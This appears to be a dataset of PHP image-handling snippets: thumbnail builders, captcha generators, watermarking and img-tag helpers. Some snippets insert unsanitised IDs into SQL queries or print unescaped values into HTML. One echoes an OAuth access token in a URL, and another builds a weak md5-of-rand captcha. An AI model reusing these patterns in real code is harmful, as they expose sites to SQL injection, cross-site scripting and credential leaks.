"function mk_PolyThumb($cID, $str=''){\n\t#get character info for tooltip from ma_Characters\n\t$sqlTT = \"SELECT Codename, Overview, Waiver, Team FROM ma_Characters WHERE CharID = $cID;\"; #ToolTip\n\n\t$codeName = $overview = $waiver = $team = '';#initialize\n\n\n\t$resultTT = mysqli_query(IDB::conn(),$sqlTT) or die(trigger_error(mysqli_error(IDB::conn()), E_USER_ERROR));\n\n\t$dbTT = pdo(); # pdo() creates and returns a PDO object\n\n\t#$result stores data object in memory\n\ttry {$resultTT = $dbTT->query($sqlTT);} catch(PDOException $ex) {trigger_error($ex->getMessage(), E_USER_ERROR);}\n\n\tif($resultTT->rowCount() > 0)\n\t{#there are records - present data\n\t\t#set values needed for tool tip\n\t\twhile($rowTT = $resultTT->fetch(PDO::FETCH_ASSOC))\n\t\t{# pull data from associative array\n\t\t\t$overview = $rowTT['Overview'];\n\t\t\t$waiver = $rowTT['Waiver'];\n\t\t\t$team = $rowTT['Team'];\n\t\t\t$codeName = $rowTT['Codename'];\n\t\t}\n\t}\n\tunset($resultTT, $dbTT); #free resources\n\n\t#verify Image or use FPO\n\t#create Image Path\n\t$filename = '../uploads/'. $cID . '-1t.jpg';\n\t#Verify image exists, show\n\tif (file_exists($filename)) {\n\t\t$filename = $filename;\n\t}else{\n\t\t#no image, use fpo static\n\t\t$filename = '../_img/_static/static---00' . rand(0, 8). '.gif';\n\t}\n\n\n\t#construct the polyThumb\n\t$str .= '\n\t\t<div><a href=\"' . VIRTUAL_PATH . 'characters/profile.php?id=' . $cID . '&act=show\"\n\t\t\ttarget=\"_blank\" data-toggle=\"tooltip\" data-placement=\"right\" title=\"\" data-container=\"body\" class=\"tooltiplink\" data-html=\"true\"\n\t\t\tdata-original-title=\"' . $codeName . ' >> ' . $overview .'\"\n\t\t\t>\n\n\t\t\t\t<!--- for polygons -->\n\t\t\t\t<svg class=\"clip-svg\">\n\t\t\t\t\t<defs>\n\t\t\t\t\t\t<clipPath id=\"polygon-clip-hexagon\" clipPathUnits=\"objectBoundingBox\">\n\t\t\t\t\t\t\t<polygon points=\"0.5 0, 1 0.25, 1 0.75, 0.5 1, 0 0.75, 0 0.25\"></polygon>\n\t\t\t\t\t\t</clipPath>\n\t\t\t\t\t</defs>\n\t\t\t\t</svg>\n\n\t\t\t\t<div class=\"polygon-each-img-wrap\">\n\t\t\t\t\t<img src=\"' . $filename . '\" alt=\"demo-clip-heptagon\" class=\"polygon-clip-hexagon\">\n\t\t\t\t</div>\n\t\t</a></div>\n\n\t\t<div>\n\t\t\t<p class=\"text-center\"><small><strong>' . $codeName . '</strong></small></p>\n\t\t</div>';\n\n\treturn $str;\n\n}",
"function doc_pic ($a,$showdetails=false,$force=false) {\r\n\tGLOBAL $HTTP_SERVER_VARS;\r\n\t\t$SRC=$a[SRC];\r\n\t\t$path=$a[path];\r\n\t\t$HREF=$a[HREF];\r\n\t\t$BORDER=$a[BORDER];\r\n\t\t$ALIGN=$a[ALIGN];\r\n\t\t$HVSPACE=$a[HVSPACE];\r\n\t\t$ALT=$a[ALT];\r\n\t\t$WIDTH=$a[WIDTH];\r\n\t\t$HEIGHT=$a[HEIGHT];\r\n\r\n\t\tif (''==$SRC) {\r\n\t\t\tif ($showdetails) {\r\n\t\t\t\t$this->_debug2('doc_pic');\r\n\t\t\t\treturn(\"Kein Bild\");\r\n\t\t\t} else {\r\n\t\t\t\t$this->_debug2('doc_pic');\r\n\t\t\t\treturn('');\r\n\t\t\t}\r\n\t\t}\r\n\t if (''==$path) {\r\n\t \t$path=$SRC;\r\n\t }\r\n\t if (ereg(\"^/\",$SRC)) {\r\n\t \t## if unset, assume DOCUMENT_ROOT to be the path\r\n\t \tif (!$this->layoutpath) {\r\n\t \t\t$this->layoutpath = $HTTP_SERVER_VARS[\"DOCUMENT_ROOT\"];\r\n\t \t}\r\n\t\t\t$SRC= $this->layouturl . $SRC;\r\n\t\t\t$path=$this->layoutpath . $path;\r\n\t\t}\r\n\t if (file_exists($path)) {\r\n\t\t\t$WH=GetImageSize($path);\r\n\t\t} else {\r\n\t\t\t$this->defval($force, $this->picture_def['force']);\r\n\t\t\tif (!$force) {\r\n\t\t\t\t$this->_debug2('doc_pic not found');\r\n\t\t\t\treturn(\"Bild: '$path' nicht vorhanden!\");\r\n\t\t\t}\r\n\t\t}\r\n\t\tif ($WIDTH>0) {\r\n\t\t\t$WH[0]=$WIDTH;\r\n\t\t}\r\n\t\tif ($HEIGHT>0) {\r\n\t\t\t$WH[1]=$HEIGHT;\r\n\t\t}\r\n\t\t$this->defval($BORDER, $this->picture_def['BORDER']);\r\n\t\t$this->defval($ALIGN, $this->picture_def['ALIGN']);\r\n\t\t$this->defval($HVSPACE, $this->picture_def['HVSPACE']);\r\n\t\t$this->defval($ALT, $this->picture_def['ALT']);\r\n\r\n\t\t$r.=($BORDER!='') ? sprintf($this->picture['BORDER'],$BORDER) : '';\r\n\t\t$r.=o_iftrue($ALIGN, $this->picture['ALIGN']);\r\n\t\tif ($HVSPACE) {\r\n\t\t\t$r.=sprintf($this->picture['HVSPACE'],$HVSPACE,$HVSPACE);\r\n\t\t}\r\n\t\t$r.=sprintf($this->picture['ALT'],HTMLSpecialChars($ALT));\r\n\t\t$r.=sprintf($this->picture['WIDTH'],$WH[0]);\r\n\t\t$r.=sprintf($this->picture['HEIGHT'],$WH[1]);\r\n\r\n\t\t$out=sprintf($this->picture['pictag'],$SRC,$r);\r\n\r\n\t\tif ($HREF) {\r\n\t\t\t$out=$this->doc_anker('NULL',$HREF,$out);\r\n\t\t}\r\n\r\n\t\tif ($showdetails) {\r\n\t\t\t$name=ereg_Replace(\"^.*/\",\"\",$SRC);\r\n\t\t\t$out=\"<SMALL>'<B>$name</B>' \".\r\n\t\t\t \"$WH[0]x$WH[1] Pixel</SMALL>\\n$out\";\r\n\t\t}\r\n\r\n\t\t$this->_debug('doc_pic',$out);\r\n\t\treturn($out);\r\n\t}",
"function small($sfp,$w='',$h='',$scale=true) {\n if(empty($sfp)){\n echo iCMS_FS_URL.'1x1.gif';\n return;\n }\n if(strpos($sfp,'_')!==false){\n if(preg_match('|.+\\d+x\\d+\\.jpg$|is', $sfp)!=0){\n echo $sfp;\n return;\n }\n }\n $uri = parse_url(iCMS_FS_URL);\n if(stripos($sfp,$uri['host']) === false){\n echo $sfp;\n return;\n }\n\n if(empty(iCMS::$config['thumb']['size'])){\n echo $sfp;\n return;\n }\n\n $size_map = explode(\"\\n\", iCMS::$config['thumb']['size']);\n $size_map = array_map('trim', $size_map);\n $size_map = array_flip($size_map);\n $size = $w.'x'.$h;\n if(!isset($size_map[$size])){\n echo $sfp;\n return;\n }\n\n if(iCMS::$config['FS']['yun']['enable']){\n if(iCMS::$config['FS']['yun']['sdk']['QiNiuYun']['Bucket']){\n echo $sfp.'?imageView2/1/w/'.$w.'/h/'.$h;\n return;\n }\n if(iCMS::$config['FS']['yun']['sdk']['TencentYun']['Bucket']){\n echo $sfp.'?imageView2/2/w/'.$w.'/h/'.$h;\n return;\n }\n }\n echo $sfp.'_'.$size.'.jpg';\n}",
"public function createImage3(){\n $this->triangleCreate(240, 100, 290, 50, 340, 100);\n $this->triangleCreate(40, 300, 90, 250, 140, 300);\n $this->triangleCreate(440, 300, 490, 250, 540, 300);\n $this->createLine(265, 100, 105, 265);\n $this->createLine(315, 100, 475, 265);\n $this->createLine(125, 285, 455, 285);\n $this->generateImage();\n }",
"function print_photo_text($table) {\n\n\t$html = \"<div class=\\\"div_class\\\">\\n\";\n\t$html .= \"\\t<h3>\" . $table['titre'] . \"</h3>\\n\";\n\t$html .= \"\\t<div class=\\\"photo_text\\\">\\n\";\n\t$html .= \"\\t\\t<img src=\\\"Images/\" . $table['photo'] . \"\\\">\";\n\t$html .= \"\\t\\t<p>\" . $table['texte'] . \"</p>\\n\";\n\t$html .= \"\\t</div>\\n\";\n\t$html .= \"</div>\\n\";\n\n\treturn $html;\n}",
"public function GetImage($type=NULL){\r\n\t\t$GTemp=$this->GTemp;\r\n\t\tif ($type!=NULL){\r\n\t\t\t$hndl=imagecreatefromjpeg(GTemplate::GetPath($GTemp->id).DS.$type.\".jpg\");\r\n\t\t\t$width=$this->width;\r\n\t\t\t$height=$this->height;\r\n\t\t\t$hndl_dest=imagecreatetruecolor($width,$height);\r\n\t\t\timagecopy($hndl_dest,$hndl,0,0,$this->x1,$this->y1,$this->width,$this->height);\r\n\t\t\treturn $hndl_dest;\r\n\t\t}\r\n\t\t$types=$this->WidgetClass()->Types();\r\n\t\t$hndl=imagecreatefromjpeg(GTemplate::GetPath($GTemp->id).DS.$types[0].\".jpg\");\r\n\t\t$width=(sizeof($types))*($this->width);\r\n\t\t$height=$this->height;\r\n\t\t$hndl_dest=imagecreatetruecolor($width,$height);\r\n\t\timagecopy($hndl_dest,$hndl,0,0,$this->x1,$this->y1,$this->width,$this->height);\r\n\t\t$counter=0;\r\n\t\tif ($types!=''){\r\n\t\t\tforeach ($types as $index => $val){\r\n\t\t\t\tif ($index==0) continue;\r\n\t\t\t\t$counter++;\r\n\t\t\t\timagedestroy($hndl);\r\n\t\t\t\t$hndl=imagecreatefromjpeg(GTemplate::GetPath($GTemp->id).DS.$val.\".jpg\");\r\n\t\t\t\timagecopymerge($hndl_dest,$hndl,($counter)*$this->width,0,\r\n\t\t\t\t\t$this->x1,$this->y1,$this->width,$this->height,100);\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn $hndl_dest;\r\n\t}",
"public function getImageName();",
"function cpl_wra() {\n\t//You May NOT Edit It!\n\techo \"<img src='http://www.auburnflame.com/brk1.gif'>\";\n}",
"public function getPhoto() : string {\n $hash = crc32($this->name);\n $filename = self::PHOTO_DIRECTORY . $hash . '.png';\n\n if (file_exists($filename))\n return '/images/photos/' . $hash . '.png';\n\n return '/images/no-photo.png';\n }",
"function mk_cThumb($cID, $str=''){\n\t$sqlTT = \"SELECT Codename, Overview, Waiver, Team FROM ma_Characters WHERE CharID = $cID;\"; #ToolTip\n\t$cName = $cOverview = $cWaiver = $cTeam = '';#initialize\n\t$resultTT = mysqli_query(IDB::conn(),$sqlTT) or die(trigger_error(mysqli_error(IDB::conn()), E_USER_ERROR));\n\t$dbTT = pdo(); # pdo() creates and returns a PDO object\n\n\t#$result stores data object in memory\n\ttry {$resultTT = $dbTT->query($sqlTT);} catch(PDOException $ex) {trigger_error($ex->getMessage(), E_USER_ERROR);}\n\n\tif($resultTT->rowCount() > 0)\n\t{#there are records - present data\n\t\t#set values needed for tool tip\n\t\twhile($rowTT = $resultTT->fetch(PDO::FETCH_ASSOC))\n\t\t{# pull data from associative array\n\t\t\t$cOverview = $rowTT['Overview'];\n\t\t\t$cWaiver = $rowTT['Waiver'];\n\t\t\t$cTeam = $rowTT['Team'];\n\t\t\t$cName = $rowTT['Codename'];\n\t\t}\n\t}\n\tunset($resultTT, $dbTT); #free resources\n\n\t#verify Image or use FPO\n\t#create Image Path\n\t$filename = './../uploads/_assigned/' . $cID . '-1t.jpg';\n\t#Verify image exists, show\n\tif (file_exists($filename)) {\n\t\t$filename = VIRTUAL_PATH . 'uploads/_assigned/' . $cID . '-1t.jpg';\n\t}else{\n\t\t#no image, use fpo static\n\t\t$filename = VIRTUAL_PATH . '_img/_static/static---00' . rand(0, 8). '.gif';\n\t}\n\n/*\n\n\nhttp://localhost/WrDKv4/_img/_static/static---005.gif\n\n\n\n*/\n\n\n\n\n\n\t#construct the polyThumb\n\t$str .= '<div class=\"text=center\">\n\t\t\t<a href=\"' . VIRTUAL_PATH . 'characters/profile.php?id=' . $cID . '&act=show\"\n\t\t\t\ttarget=\"_blank\" data-toggle=\"tooltip\" data-placement=\"right\" title=\"\" data-container=\"body\" class=\"tooltiplink\" data-html=\"true\"\n\t\t\t\tdata-original-title=\"' . $cName . ' >> ' . $cOverview . '\"\n\t\t\t\t>\n\t\t\t\t<img src=\"' . $filename . '\" alt=\"' . $cName . '\" style=\"width:50px\">\n\t\t\t</a>\n\t\t</div>';\n\n\treturn $str;\n\n}",
"public function getImage() {}",
"public function showImageFromGet() {\n\n\t\t// $imageFilename = UniteFunctionsRev::getGetVar(\"img\");\n\t\t$imageID = intval( UniteFunctionsRev::getGetVar( 'img' ) );\n\t\t$maxWidth = UniteFunctionsRev::getGetVar( 'w',-1 );\n\t\t$maxHeight = UniteFunctionsRev::getGetVar( 'h',-1 );\n\t\t$type = UniteFunctionsRev::getGetVar( 't','' );\n\n\t\t// set effect\n\t\t$effect = UniteFunctionsRev::getGetVar( 'e' );\n\t\t$effectArgument1 = UniteFunctionsRev::getGetVar( 'ea1' );\n\n\t\tif ( ! empty( $effect ) ) {\n\t\t\t$this->setEffect( $effect,$effectArgument1 ); }\n\n\t\t$this->showImageByID( $imageID );\n\t\techo 'sechs<br>';\n\t\t// $this->showImage($imageFilename,$maxWidth,$maxHeight,$type);\n\t}",
"function view_builder_logo_inside_project($img,$w,$h,$alt)\n{\n if(file_exists(\"../builder/\".$img) && $img!='')\n\n $temp= \"<img src=\\\"../include/phpThumb.php?src=../builder/\".$img.\"&w=$w&h=$h&iar=1\\\"; border='0' width=\\\"$w\\\" height=\\\"$h\\\" \n alt='$alt' class='floatL mar12R' />\";\n else\n $temp =\"<img src=\\\"../include/phpThumb.php?src=../builder/nophoto.jpg\\\"&w=$w&h=$h&iar=1\\\"; border='0' width=\\\"$w\\\" height=\\\"$h\\\" alt='$alt' class='floatL mar12R'/>\";\n \n\treturn $temp;}",
"public function getImage() : string\n {\n return $this->image;\n }",
"function ps_open_memory_image($psdoc, $gd)\n{\n}",
"function img($image,$layout='')\n{\n return $image;\n}",
"function createImage($width=135,$height=45)\r\n\t{\r\n\t\theader(\"Content-type:image/jpeg\");\r\n\r\n\t\t// create an image \r\n\t\t$im=imagecreate($width,$height);\r\n\r\n\t\t// white background\r\n\t\t$black=imagecolorallocate($im,0,0,0);\r\n\r\n\r\n\t\t// black text and grid\r\n\t\t$white=imagecolorallocate($im,255,255,255);\r\n $other=imagecolorallocate($im,0,0,255);\r\n\t\t// get a random number to start drawing out grid from\r\n\t\t$num=rand(0,5);\r\n\r\n\t\t// draw vertical bars\r\n\t\tfor($i=$num;$i<=$width;$i+=10)\r\n\t\t\timageline($im,$i,0,$i,45,$other);\r\n\r\n\t\t// draw horizontal bars\r\n\t\tfor($i=$num;$i<=$height+10;$i+=10)\r\n\t\t\timageline($im,0,$i,135,$i,$other);\r\n\r\n\t\t// generate a random string\r\n\t\t$string=substr(strtolower(md5(uniqid(rand(),1))),0,7);\r\n\t\t\r\n\t\t$string=str_replace('2','a',$string);\r\n\t\t$string=str_replace('l','p',$string);\r\n\t\t$string=str_replace('1','h',$string);\r\n\t\t$string=str_replace('0','y',$string);\r\n\t\t$string=str_replace('o','y',$string);\r\n\r\n\t\t// place this string into the image\r\n\t\t$font = imageloadfont('anticlimax.gdf'); \r\n\r\n imagestring($im,$font,10,10,$string, $white);\r\n\t\t// create the image and send to browser\r\n\t\timagejpeg($im);\r\n\t\t// destroy the image\r\n\t\timagedestroy($im);\r\n\r\n\t\t// return the random text generated\r\n\t\treturn $this->text=$string;\r\n\t}",
"protected function _makeImage()\n {\n $result = array();\n $width='170';\n $height='40';\n $characters= mt_rand(5,7);\n $possible = '123456789aAbBcCdDeEfFgGhHIijJKLmMnNpPqQrRstTuUvVwWxXyYZz';\n $code = '';\n $i = 0;\n while ($i < $characters) {\n $code .= substr($possible, mt_rand(0, strlen($possible)-1), 1);\n $i++;\n }\n $font = './fonts/Milonga-Regular.ttf';\n /* font size will be 70% of the image height */\n $font_size = $height * 0.67;\n try {\n $image = @imagecreate($width, $height);\n /* set the colours */\n $text_color = imagecolorallocate($image, 20, 40, 100);\n $noise_color = imagecolorallocate($image, 100, 120, 180);\n /* generate random dots in background */\n for( $i=0; $i<($width*$height)/3; $i++ ) {\n imagefilledellipse($image, mt_rand(0,$width), mt_rand(0,$height), 1, 1, $noise_color);\n }\n /* generate random lines in background */\n for( $i=0; $i<($width*$height)/150; $i++ ) {\n imageline($image, mt_rand(0,$width), mt_rand(0,$height), mt_rand(0,$width), mt_rand(0,$height), $noise_color);\n }\n /* create textbox and add text */\n $textbox = imagettfbbox($font_size, 0, $font, $code);\n $x = ($width - $textbox[4])/2;\n $y = ($height - $textbox[5])/2;\n imagettftext($image, $font_size, 0, $x, $y, $text_color, $font , $code);\n ob_start();\n imagejpeg($image);\n $image_code = ob_get_contents ();\n ob_end_clean();\n imagedestroy($image);\n $result = array();\n $result['1'] = base64_encode($image_code);\n Tinebase_Session::getSessionNamespace()->captcha['code'] = $code;\n } catch (Exception $e) {\n if (Core::isLogLevel(LogLevel::NOTICE)) Core::getLogger()->notice(__METHOD__ . '::' . __LINE__ . ' ' . $e->getMessage());\n }\n return $result;\n }",
"public function getAsString() {\n\t\t$image = $this->getImage();\n\t\t$string = $image->toString();\n\n\t\tif ($string === false) {\n\t\t\t$this->handleError($image);\n\t\t} else {\n\t\t\treturn $string;\n\t\t}\n\t}",
"function show_art($file,$width,$height) {\n global $directory, $year,$media_url, $collection;\n $file = preg_replace('-\\.gif$-',\".png\",$file);\n // Scale down figures\n if ($width > 860) { $w = $width; $width = 860; $height *= 860/$w; }\n print \"<div><img src='$media_url/$collection/\" . strtolower(\"$directory/$file\") . \"'\"\n . ($width > 0 ? \" width='$width'\" : \"\")\n . ($height > 0 ? \" height='$height'\" : \"\")\n . \" /></div>\\n\";\n}",
"public function create_image(){\n\t\t$md5_hash = md5(rand(0,999));\n\t\t$security_code = substr($md5_hash, 15, 5);\n\t\t$this->Session->write('security_code',$security_code);\n\t\t$width = 80;\n\t\t$height = 22;\n\t\t$image = ImageCreate($width, $height);\n\t\t$black = ImageColorAllocate($image, 37, 170, 226);\n\t\t$white = ImageColorAllocate($image, 255, 255, 255);\n\t\tImageFill($image, 0, 0, $black);\n\t\tImageString($image, 5, 18, 3, $security_code, $white);\n\t\theader(\"Content-Type: image/jpeg\");\n\t\tImageJpeg($image);\n\t\tImageDestroy($image);\n\t}",
"function ShowImage($spr = NULL, $lang_id = NULL, $img = NULL, $size = NULL, $quality = 85, $wtm = NULL, $parameters = NULL, $return_src=null)\n {\n\n $size_auto = NULL;\n $size_width = NULL;\n $size_height = NULL;\n $alt = NULL;\n $title = NULL;\n $str = NULL;\n\n $img_with_path = $this->GetImgPath($img, $spr, $lang_id);\n// echo '<br/>$img_with_path='.$img_with_path;\n $imgSmall = ImageK::getResizedImg($img_with_path, $size, $quality, null);\n //echo '<br/>$imgSmall='.$imgSmall;\n if($return_src){\n return $imgSmall;\n }else{\n return '<img src=\"'.$imgSmall.'\" '.$parameters.' />';\n }\n }",
"public function gen_thumbnail()\n {\n }",
"public function gen_thumbnail()\n {\n }",
"public function frontImage()\r\n {\r\n $wrapper = imagecreatetruecolor(16 * $this->ratio(), 32 * $this->ratio());\r\n $background = imagecolorallocatealpha($wrapper, 255, 255, 255, 127);\r\n imagefill($wrapper, 0, 0, $background);\r\n\r\n imagecopy($wrapper, $this->image, 4 * $this->ratio(), 0 * $this->ratio(), 8 * $this->ratio(),\r\n 8 * $this->ratio(), 8 * $this->ratio(), 8 * $this->ratio());\r\n //arms\r\n imagecopy($wrapper, $this->image, 0 * $this->ratio(), 8 * $this->ratio(), 44 * $this->ratio(),\r\n 20 * $this->ratio(), 4 * $this->ratio(), 12 * $this->ratio());\r\n $this->imageflip($wrapper, $this->image, 12 * $this->ratio(), 8 * $this->ratio(), 44 * $this->ratio(),\r\n 20 * $this->ratio(), 4 * $this->ratio(), 12 * $this->ratio());\r\n //chest\r\n imagecopy($wrapper, $this->image, 4 * $this->ratio(), 8 * $this->ratio(), 20 * $this->ratio(),\r\n 20 * $this->ratio(), 8 * $this->ratio(), 12 * $this->ratio());\r\n //legs\r\n imagecopy($wrapper, $this->image, 4 * $this->ratio(), 20 * $this->ratio(), 4 * $this->ratio(),\r\n 20 * $this->ratio(), 4 * $this->ratio(), 12 * $this->ratio());\r\n $this->imageflip($wrapper, $this->image, 8 * $this->ratio(), 20 * $this->ratio(), 4 * $this->ratio(),\r\n 20 * $this->ratio(), 4 * $this->ratio(), 12 * $this->ratio());\r\n //hat\r\n imagecopy($wrapper, $this->image, 4 * $this->ratio(), 0 * $this->ratio(), 40 * $this->ratio(),\r\n 8 * $this->ratio(), 8 * $this->ratio(), 8 * $this->ratio());\r\n\r\n return $wrapper;\r\n }",
"private function get_title_img()\n {\n $this->char_count = count($this->strings);\n $this->init_img();\n $font_size = L_FONT_SIZE / $this->char_count;\n $img_y = (L_IMG_HEIGHT + $font_size) / 2;\n $this->create_img($this->string,$font_size,$img_y);\n }",
"public function image();",
"public function image();",
"private function save()\n {\n $this->collage->setImageFormat('jpeg');\n return $this->collage->writeImage($this->name);\n }",
"public function getProfilePicture();",
"function make_thumb($src,$dest) {\n try {\n // Create a new SimpleImage object\n $image = new \\claviska\\SimpleImage();\n\n // load file\n $image->fromFile($src);\n // img getMimeType\n $mime = $image->getMimeType();\n $w = $image->getWidth();\n\n // Manipulate it\n // $image->bestFit(200, 300) // proportionally resize to fit inside a 250x400 box\n // $image->flip('x') // flip horizontally\n // $image->colorize('DarkGreen') // tint dark green\n // $image->sharpen()\n // $image->border('darkgray', 1) // add a 2 pixel black border\n // $image->overlay('flag.png', 'bottom right') // add a watermark image\n // $image->toScreen(); // output to the screen\n if ($w > 1000) {\n $image->autoOrient(); // adjust orientation based on exif data\n // $image->resize($resizeWidth); // 1365\n // $image->resize(1024); // 1365\n $image->resize(800); // 1067\n }\n $image->toFile($dest,$mime,$outIMGquality);\n // echo \"mime type: \".$mime;\n } catch(Exception $err) {\n // Handle errors\n echo $err->getMessage();\n }\n}",
"function ShowImageByPath($img_with_path = NULL, $size = NULL, $quality = NULL, $wtm = NULL, $parameters = NULL, $return_src = false)\n {\n $imgSmall = ImageK::getResizedImg($img_with_path, $size, $quality, $wtm);\n if(empty($imgSmall)){\n return false;\n }\n if($return_src){\n return $imgSmall;\n }else{\n return '<img src=\"'.$imgSmall.'\" '.$parameters.' />';\n }\n }",
"function create($filename=\"\")\n{\nif ($filename) {\n $this->src_image_name = trim($filename);\n}\n$dirname=explode(\"/\",$this->src_image_name);\nif(!file_exists(\"$dirname[0]/$dirname[1]/$dirname[2]/$dirname[3]/\")){\n\t@mkdir(\"$dirname[0]/$dirname[1]/$dirname[2]/$dirname[3]/\", 0755);\n}\nif(stristr(PHP_OS,\"WIN\")){\n\t$this->src_image_name = @iconv(\"utf-8\",\"GBK\",$this->src_image_name);\n\t$this->gz_image_name = @iconv(\"utf-8\",\"GBK\",$this->gz_image_name);\n}\n$src_image_type = $this->get_type($this->src_image_name);\n$src_image = $this->createImage($src_image_type,$this->src_image_name);\nif (!$src_image) return;\n$src_image_w=ImageSX($src_image);\n$src_image_h=ImageSY($src_image);\n\n\nif ($this->gz_image_name){\n $this->gz_image_name = strtolower(trim($this->gz_image_name));\n $gz_image_type = $this->get_type($this->gz_image_name);\n $gz_image = $this->createImage($gz_image_type,$this->gz_image_name);\n $gz_image_w=ImageSX($gz_image);\n $gz_image_h=ImageSY($gz_image);\n $temp_gz_image = $this->getPos($src_image_w,$src_image_h,$this->gz_image_pos,$gz_image);\n $gz_image_x = $temp_gz_image[\"dest_x\"];\n $gz_image_y = $temp_gz_image[\"dest_y\"];\n\t if($this->get_type($this->gz_image_name)=='png'){imagecopy($src_image,$gz_image,$gz_image_x,$gz_image_y,0,0,$gz_image_w,$gz_image_h);}\n\t else{imagecopymerge($src_image,$gz_image,$gz_image_x,$gz_image_y,0,0,$gz_image_w,$gz_image_h,$this->gz_image_transition);}\n}\nif ($this->gz_text){\n $temp_gz_text = $this->getPos($src_image_w,$src_image_h,$this->gz_text_pos);\n $gz_text_x = $temp_gz_text[\"dest_x\"];\n $gz_text_y = $temp_gz_text[\"dest_y\"];\n if(preg_match(\"/([a-f0-9][a-f0-9])([a-f0-9][a-f0-9])([a-f0-9][a-f0-9])/i\", $this->gz_text_color, $color))\n {\n $red = hexdec($color[1]);\n $green = hexdec($color[2]);\n $blue = hexdec($color[3]);\n $gz_text_color = imagecolorallocate($src_image, $red,$green,$blue);\n }else{\n $gz_text_color = imagecolorallocate($src_image, 255,255,255);\n }\n imagettftext($src_image, $this->gz_text_size, $this->gz_text_angle, $gz_text_x, $gz_text_y, $gz_text_color,$this->gz_text_font, $this->gz_text);\n}\nif(stristr(PHP_OS,\"WIN\")){\n\t$save_files=explode('/',$this->save_file);\n\t$save_files[count($save_files)-1]=@iconv(\"utf-8\",\"GBK\",$save_files[count($save_files)-1]);\n\t$this->save_file=implode('/',$save_files);\n}\nif ($this->save_file)\n{\n switch ($this->get_type($this->save_file)){\n case 'gif':$src_img=ImagePNG($src_image, $this->save_file); break;\n case 'jpeg':$src_img=ImageJPEG($src_image, $this->save_file, $this->jpeg_quality); break;\n case 'png':$src_img=ImagePNG($src_image, $this->save_file); break;\n default:$src_img=ImageJPEG($src_image, $this->save_file, $this->jpeg_quality); break;\n }\n}\nelse\n{\nif ($src_image_type = \"jpg\") $src_image_type=\"jpeg\";\n header(\"Content-type: image/{$src_image_type}\");\n switch ($src_image_type){\n case 'gif':$src_img=ImagePNG($src_image); break;\n case 'jpg':$src_img=ImageJPEG($src_image, \"\", $this->jpeg_quality);break;\n case 'png':$src_img=ImagePNG($src_image);break;\n default:$src_img=ImageJPEG($src_image, \"\", $this->jpeg_quality);break;\n }\n}\nimagedestroy($src_image);\n}",
"public function render(): string\n {\n $src = (string)$this->arguments['src'];\n if (($src === '' && $this->arguments['image'] === null) || ($src !== '' && $this->arguments['image'] !== null)) {\n throw new Exception('You must either specify a string src or a File object.', 1382284106);\n }\n\n if ((string)$this->arguments['fileExtension'] && !GeneralUtility::inList($GLOBALS['TYPO3_CONF_VARS']['GFX']['imagefile_ext'], (string)$this->arguments['fileExtension'])) {\n throw new Exception(\n 'The extension ' . $this->arguments['fileExtension'] . ' is not specified in $GLOBALS[\\'TYPO3_CONF_VARS\\'][\\'GFX\\'][\\'imagefile_ext\\']'\n . ' as a valid image file extension and can not be processed.',\n 1618989190\n );\n }\n\n try {\n $image = $this->imageService->getImage($src, $this->arguments['image'], (bool)$this->arguments['treatIdAsReference']);\n $cropString = $this->arguments['crop'];\n if ($cropString === null && $image->hasProperty('crop') && $image->getProperty('crop')) {\n $cropString = $image->getProperty('crop');\n }\n $cropVariantCollection = CropVariantCollection::create((string)$cropString);\n $cropVariant = $this->arguments['cropVariant'] ?: 'default';\n $cropArea = $cropVariantCollection->getCropArea($cropVariant);\n $processingInstructions = [\n 'width' => $this->arguments['width'],\n 'height' => $this->arguments['height'],\n 'minWidth' => $this->arguments['minWidth'],\n 'minHeight' => $this->arguments['minHeight'],\n 'maxWidth' => $this->arguments['maxWidth'],\n 'maxHeight' => $this->arguments['maxHeight'],\n 'crop' => $cropArea->isEmpty() ? null : $cropArea->makeAbsoluteBasedOnFile($image),\n ];\n if (!empty($this->arguments['fileExtension'] ?? '')) {\n $processingInstructions['fileExtension'] = $this->arguments['fileExtension'];\n }\n $processedImage = $this->imageService->applyProcessingInstructions($image, $processingInstructions);\n $imageUri = $this->imageService->getImageUri($processedImage, $this->arguments['absolute']);\n\n if (!$this->tag->hasAttribute('data-focus-area')) {\n $focusArea = $cropVariantCollection->getFocusArea($cropVariant);\n if (!$focusArea->isEmpty()) {\n $this->tag->addAttribute('data-focus-area', $focusArea->makeAbsoluteBasedOnFile($image));\n }\n }\n $this->tag->addAttribute('data-lazy', $imageUri);\n // $this->tag->addAttribute('src', $imageUri);\n $this->tag->addAttribute('width', $processedImage->getProperty('width'));\n $this->tag->addAttribute('height', $processedImage->getProperty('height'));\n\n // The alt-attribute is mandatory to have valid html-code, therefore add it even if it is empty\n if (empty($this->arguments['alt'])) {\n $this->tag->addAttribute('alt', $image->hasProperty('alternative') ? $image->getProperty('alternative') : '');\n }\n // Add title-attribute from property if not already set and the property is not an empty string\n $title = (string)($image->hasProperty('title') ? $image->getProperty('title') : '');\n if (empty($this->arguments['title']) && $title !== '') {\n $this->tag->addAttribute('title', $title);\n }\n } catch (ResourceDoesNotExistException $e) {\n // thrown if file does not exist\n throw new Exception($e->getMessage(), 1509741911, $e);\n } catch (\\UnexpectedValueException $e) {\n // thrown if a file has been replaced with a folder\n throw new Exception($e->getMessage(), 1509741912, $e);\n } catch (\\RuntimeException $e) {\n // RuntimeException thrown if a file is outside of a storage\n throw new Exception($e->getMessage(), 1509741913, $e);\n } catch (\\InvalidArgumentException $e) {\n // thrown if file storage does not exist\n throw new Exception($e->getMessage(), 1509741914, $e);\n }\n\n return $this->tag->render();\n }",
"public function Photo(){\n\t\t$photoId = \"491634914183411\";\n\t\t$imgInfo \t\t\t= 'https://graph.facebook.com/'.$photoId.'?access_token='.$this->session->userdata('oauth_token');\n\t\techo $imgInfo;\n\t}",
"function print_photo($table) {\n\n\t$html = \"<div class=\\\"div_class\\\" href=\\\"\" . $table['link'] . \"\\\">\\n\";\n\t$html .= \"\\t<img src=\\\"Images/\" . $table['photo'] . \"\\\">\";\n\t$html .= \"</div>\\n\";\n\n\treturn $html;\n\n}",
"function createImg()\n {\n // imagem de origem\n if ($this->ext == \"png\")\n $img_origem= imagecreatefrompng($this->origem);\n\t\telseif ($this->ext == \"gif\")\n $img_origem= imagecreatefromgif($this->origem);\n elseif ($this->ext == \"jpg\" || $this->ext == \"jpeg\")\n $img_origem= imagecreatefromjpeg($this->origem);\n\t\t\telseif ($this->ext == \"jpg\" || $this->ext == \"jpeg\")\n $img_origem= imagecreatefromwbmp($this->origem);\n return $img_origem;\n }",
